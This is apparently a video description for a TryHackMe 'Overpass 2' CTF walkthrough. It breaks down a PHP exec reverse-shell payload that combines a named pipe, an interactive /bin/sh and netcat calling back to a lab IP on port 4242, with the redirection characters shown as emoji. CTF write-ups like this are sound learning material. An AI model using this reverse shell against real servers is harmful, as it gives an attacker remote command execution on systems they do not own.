Overpass 2 CTF | TryHackMe | Wireshark, Nmap & Cracking with John & Hashcat

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Php payload:
Note that CZcams does not allow brackets in the descriptions
PHP exec function:
At the core of this code is the exec function. This is a PHP function that allows you to execute commands directly on the server. It's powerful, but it can also be risky if misused.
rm /tmp/f:
The first command rm /tmp/f is trying to remove a file named 'f' located in the '/tmp' directory. Essentially, it's cleaning up, ensuring there's no existing file with that name.
mkfifo /tmp/f:
Next, we have mkfifo /tmp/f. This command creates a named pipe, which is a way of inter-process communication. In simpler terms, it allows two processes to communicate with each other. Here, it's creating a named pipe called 'f' in the '/tmp' directory.
cat /tmp/f|/bin/sh -i 2🐻&1:
Moving on, cat /tmp/f|/bin/sh -i 2🐻&1 is a bit more complex. What's happening here is that it's reading data from our named pipe 'f' and passing it to a shell (/bin/sh). The -i flag ensures the shell is interactive, and 2🐻&1 is a bit of redirection magic, ensuring that both standard output and standard error are sent to the same place.
nc 192.168.170.145 4242:
Lastly, we have nc 192.168.170.145 4242. This is using the 'netcat' utility, often abbreviated as 'nc'. It's setting up a connection to the IP address 192.168.170.145 on port 4242. Essentially, it's trying to communicate with a remote machine.
Putting it all together:
When we piece it all together, this code is essentially setting up a reverse shell. It's trying to establish a connection from the server (where this PHP code is running) back to a remote machine on a specific IP and port. Once connected, the remote machine can send commands to be executed on the server. #ctf #tryhackme #cybersecurity #pentesting #privilegeescalation

[@zac_da_mac]

1+ sub nice